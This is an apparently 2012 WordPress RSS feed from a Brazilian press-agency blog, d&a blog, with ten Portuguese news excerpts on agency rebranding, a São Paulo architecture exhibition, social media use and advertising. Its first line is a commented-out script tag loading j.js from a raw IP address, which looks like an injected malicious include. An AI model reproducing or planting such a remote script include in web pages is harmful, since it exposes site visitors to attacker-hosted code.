<!--<script src=http://201.49.218.35/.../j.js></script>-->
<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>d&#38;a blog</title>
	<atom:link href="http://www.deaimprensa.com.br/blog/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.deaimprensa.com.br/blog</link>
	<description>Assessoria de Imprensa</description>
	<lastBuildDate>Fri, 03 Feb 2012 20:09:19 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Visual Repaginado</title>
		<link>http://www.deaimprensa.com.br/blog/2012/02/visual-repaginado/</link>
		<comments>http://www.deaimprensa.com.br/blog/2012/02/visual-repaginado/#comments</comments>
		<pubDate>Fri, 03 Feb 2012 19:52:04 +0000</pubDate>
		<dc:creator>Tassia Lourenco</dc:creator>
				<category><![CDATA[d&a]]></category>

		<guid isPermaLink="false">http://www.deaimprensa.com.br/blog/2012/02/visual-repaginado/</guid>
		<description><![CDATA[
            
Leve, moderno, elegante, sério e transparente. Foram esses os predicados definidos pela d&#38;a para desenvolver a identidade visual da agência para 2012. “Nossos banners de e-mail e as apresentações em PowerPoint já trazem o novo pacote gráfico. Nas próximas semanas, será a vez da newsletter e do d&#38;a blog”, conta Rodrigo Vieira, sócio-diretor da d&#38;a.

 
No [...]]]></description>
		<wfw:commentRss>http://www.deaimprensa.com.br/blog/2012/02/visual-repaginado/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Exposição sobre a cidade de São Paulo fica em cartaz até 3 de março no Centro da Cultura Judaica</title>
		<link>http://www.deaimprensa.com.br/blog/2012/02/exposicao-sobre-a-cidade-de-sao-paulo-fica-em-cartaz-ate-3-de-marco-no-centro-da-cultura-judaica/</link>
		<comments>http://www.deaimprensa.com.br/blog/2012/02/exposicao-sobre-a-cidade-de-sao-paulo-fica-em-cartaz-ate-3-de-marco-no-centro-da-cultura-judaica/#comments</comments>
		<pubDate>Fri, 03 Feb 2012 17:33:30 +0000</pubDate>
		<dc:creator>Renato</dc:creator>
				<category><![CDATA[Cultura & entretenimento]]></category>
		<category><![CDATA[d&a pautas]]></category>

		<guid isPermaLink="false">http://www.deaimprensa.com.br/blog/?p=4118</guid>
		<description><![CDATA[
Um novo olhar sobre a arquitetura da capital paulista é a proposta apresentada pelo Centro da Cultura Judaica na exposição O Espaço e o Estrangeiro na Cidade de São Paulo &#8211; Exílio e Modernidade. Com curadoria da professora e pesquisadora Anat Falbel, a mostra apresenta uma São Paulo que muitos conhecem, mas com uma ótica [...]]]></description>
		<wfw:commentRss>http://www.deaimprensa.com.br/blog/2012/02/exposicao-sobre-a-cidade-de-sao-paulo-fica-em-cartaz-ate-3-de-marco-no-centro-da-cultura-judaica/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Veja e TV Cultura acertam parceria para exibição de jornalístico</title>
		<link>http://www.deaimprensa.com.br/blog/2012/02/veja-e-tv-cultura-acertam-parceria-para-exibicao-de-jornalistico/</link>
		<comments>http://www.deaimprensa.com.br/blog/2012/02/veja-e-tv-cultura-acertam-parceria-para-exibicao-de-jornalistico/#comments</comments>
		<pubDate>Fri, 03 Feb 2012 13:44:12 +0000</pubDate>
		<dc:creator>Renato</dc:creator>
				<category><![CDATA[Comunicação & Jornalismo]]></category>
		<category><![CDATA[Internet]]></category>

		<guid isPermaLink="false">http://www.deaimprensa.com.br/blog/?p=4115</guid>
		<description><![CDATA[





Jornalista Augusto Nunes vai comandar o &#8216;Veja na TV&#8217;. (Imagem: Veja.com)


A partir de março, um novo jornalístico ocupará a grade de programação  da TV Cultura. Em parceria com a revista de maior circulação no País, a  emissora da Fundação Padre Anchieta vai transmitir o ‘Veja na TV’. A  atração irá ao ar [...]]]></description>
		<wfw:commentRss>http://www.deaimprensa.com.br/blog/2012/02/veja-e-tv-cultura-acertam-parceria-para-exibicao-de-jornalistico/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Grupo MTCom agora tem núcleo de Mídias Sociais</title>
		<link>http://www.deaimprensa.com.br/blog/2012/02/grupo-mtcom-agora-tem-nucleo-de-midias-sociais/</link>
		<comments>http://www.deaimprensa.com.br/blog/2012/02/grupo-mtcom-agora-tem-nucleo-de-midias-sociais/#comments</comments>
		<pubDate>Thu, 02 Feb 2012 20:38:46 +0000</pubDate>
		<dc:creator>Renée Beralde</dc:creator>
				<category><![CDATA[Comunicação & Jornalismo]]></category>
		<category><![CDATA[Grupo MTCom]]></category>
		<category><![CDATA[Internet]]></category>

		<guid isPermaLink="false">http://www.deaimprensa.com.br/blog/?p=4110</guid>
		<description><![CDATA[
O ano de 2012 começa com uma grande novidade no Grupo MTCom: desde o dia 2 de janeiro, entrou em funcionamento o Núcleo de Mídias Sociais. Atualmente, a equipe  atende cerca de 30 marcas.
“Buscamos algo que todas as empresas e profissionais querem ou precisam: conversar com seus clientes. Nosso objetivo é, em conjunto com [...]]]></description>
		<wfw:commentRss>http://www.deaimprensa.com.br/blog/2012/02/grupo-mtcom-agora-tem-nucleo-de-midias-sociais/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Brasil é o quarto país com mais internautas em redes sociais</title>
		<link>http://www.deaimprensa.com.br/blog/2012/02/brasil-e-o-quarto-pais-com-mais-internautas-em-redes-sociais/</link>
		<comments>http://www.deaimprensa.com.br/blog/2012/02/brasil-e-o-quarto-pais-com-mais-internautas-em-redes-sociais/#comments</comments>
		<pubDate>Thu, 02 Feb 2012 13:38:03 +0000</pubDate>
		<dc:creator>Renato</dc:creator>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[Tecnologia]]></category>

		<guid isPermaLink="false">http://www.deaimprensa.com.br/blog/?p=4106</guid>
		<description><![CDATA[
 
O Brasil é o quarto país no mundo com maior presença nas redes sociais, segundo estudo da comScore. São 97% dos internautas em sites como Twitter e Facebook.
Empatados na primeira posição, EUA, Espanha e Reino Unido têm 98% de seus internautas em mídias sociais. Entre os 43 países pesquisados, a média de penetração é de [...]]]></description>
		<wfw:commentRss>http://www.deaimprensa.com.br/blog/2012/02/brasil-e-o-quarto-pais-com-mais-internautas-em-redes-sociais/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Exposição discute influência dos imigrantes na arquitetura paulistana</title>
		<link>http://www.deaimprensa.com.br/blog/2012/01/exposicao-discute-influencia-dos-imigrantes-na-arquitetura-paulistana/</link>
		<comments>http://www.deaimprensa.com.br/blog/2012/01/exposicao-discute-influencia-dos-imigrantes-na-arquitetura-paulistana/#comments</comments>
		<pubDate>Mon, 30 Jan 2012 13:54:25 +0000</pubDate>
		<dc:creator>Tassia Lourenco</dc:creator>
				<category><![CDATA[Arquitetura & Decoração]]></category>

		<guid isPermaLink="false">http://www.deaimprensa.com.br/blog/2012/01/exposicao-discute-influencia-dos-imigrantes-na-arquitetura-paulistana/</guid>
		<description><![CDATA[A arquitetura de São Paulo já foi assunto de várias exposições. Aberta até o dia 12 de fevereiro, a mostra &#8220;O Espaço e o Estrangeiro na Cidade de São Paulo &#8211; Exílio e Modernidade&#8221; revê o tema sob uma nova ótica. Ela discute o legado deixado por imigrantes europeus na capital paulista, sobretudo a partir [...]]]></description>
		<wfw:commentRss>http://www.deaimprensa.com.br/blog/2012/01/exposicao-discute-influencia-dos-imigrantes-na-arquitetura-paulistana/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Leitor do impresso retém mais publicidade</title>
		<link>http://www.deaimprensa.com.br/blog/2012/01/leitor-do-impresso-retem-mais-publicidade/</link>
		<comments>http://www.deaimprensa.com.br/blog/2012/01/leitor-do-impresso-retem-mais-publicidade/#comments</comments>
		<pubDate>Mon, 30 Jan 2012 13:42:22 +0000</pubDate>
		<dc:creator>Renato</dc:creator>
				<category><![CDATA[Comunicação & Jornalismo]]></category>
		<category><![CDATA[Cultura & entretenimento]]></category>
		<category><![CDATA[Publicidade & Propaganda]]></category>

		<guid isPermaLink="false">http://www.deaimprensa.com.br/blog/?p=4100</guid>
		<description><![CDATA[







 
 Um estudo intitulado “Advertising Affinities”, algo como “Afinidades da Publicidade”, revelou que o leitor do impresso retém quase o dobro de anúncios publicitários do que o leitor on-line.A média de retenção é de 1,3 do impresso contra 0,7 do on-line. 
Um dos motivos que possam explicar essa diferença é que o anúncio no jornal em papel [...]]]></description>
		<wfw:commentRss>http://www.deaimprensa.com.br/blog/2012/01/leitor-do-impresso-retem-mais-publicidade/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Celulares de São Paulo terão nove dígitos, diz Anatel</title>
		<link>http://www.deaimprensa.com.br/blog/2012/01/celulares-de-sao-paulo-terao-nove-digitos-diz-anatel/</link>
		<comments>http://www.deaimprensa.com.br/blog/2012/01/celulares-de-sao-paulo-terao-nove-digitos-diz-anatel/#comments</comments>
		<pubDate>Fri, 27 Jan 2012 19:14:05 +0000</pubDate>
		<dc:creator>Renato</dc:creator>
				<category><![CDATA[Tecnologia]]></category>

		<guid isPermaLink="false">http://www.deaimprensa.com.br/blog/?p=4095</guid>
		<description><![CDATA[
A Agência Nacional de Telecomunicações (Anatel) decidiu nesta  quinta-feira (9) elevar para nove os dígitos dos celulares de São Paulo  como forma de evitar a escassez de números. A decisão foi tomada durante  reunião na tarde desta quinta pelo Conselho Diretor da agência. Com a  medida, as prestadoras terão um prazo [...]]]></description>
		<wfw:commentRss>http://www.deaimprensa.com.br/blog/2012/01/celulares-de-sao-paulo-terao-nove-digitos-diz-anatel/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Terra vence out-of-home na linha 4 do metrô</title>
		<link>http://www.deaimprensa.com.br/blog/2012/01/terra-vence-out-of-home-na-linha-4-do-metro/</link>
		<comments>http://www.deaimprensa.com.br/blog/2012/01/terra-vence-out-of-home-na-linha-4-do-metro/#comments</comments>
		<pubDate>Fri, 27 Jan 2012 18:50:30 +0000</pubDate>
		<dc:creator>Caio Miranda</dc:creator>
				<category><![CDATA[d&a 10 Anos]]></category>

		<guid isPermaLink="false">http://www.deaimprensa.com.br/blog/?p=4091</guid>
		<description><![CDATA[O Terra foi a empresa vencedora da concorrência aberta pela ViaQuatro – concessionária responsável pela operação da Linha Amarela do metrô de São Paulo – para a administração da mídia digital Out of Home em todas as estações e trens do trecho nos próximos 10 anos. Estão incluídos no projeto aproximadamente mil telas, entre painéis [...]]]></description>
		<wfw:commentRss>http://www.deaimprensa.com.br/blog/2012/01/terra-vence-out-of-home-na-linha-4-do-metro/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Com propaganda, sacola plástica pode continuar de graça em SP</title>
		<link>http://www.deaimprensa.com.br/blog/2012/01/com-propaganda-sacola-plastica-pode-continuar-de-graca-em-sp/</link>
		<comments>http://www.deaimprensa.com.br/blog/2012/01/com-propaganda-sacola-plastica-pode-continuar-de-graca-em-sp/#comments</comments>
		<pubDate>Mon, 23 Jan 2012 19:49:51 +0000</pubDate>
		<dc:creator>Caio Miranda</dc:creator>
				<category><![CDATA[d&a 10 Anos]]></category>

		<guid isPermaLink="false">http://www.deaimprensa.com.br/blog/?p=4088</guid>
		<description><![CDATA[O Grupo Four Midia criou um novo espaço para as marcas: a sacola biodegradável. Diante da proibição das sacolas plásticas, comuns no comércio varejista, a empresa transformou a restrição em uma oportunidade de mídia para que as empresas tenham um novo canal com seus consumidores.
A partir do dia 25 de janeiro os comerciantes e grandes [...]]]></description>
		<wfw:commentRss>http://www.deaimprensa.com.br/blog/2012/01/com-propaganda-sacola-plastica-pode-continuar-de-graca-em-sp/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

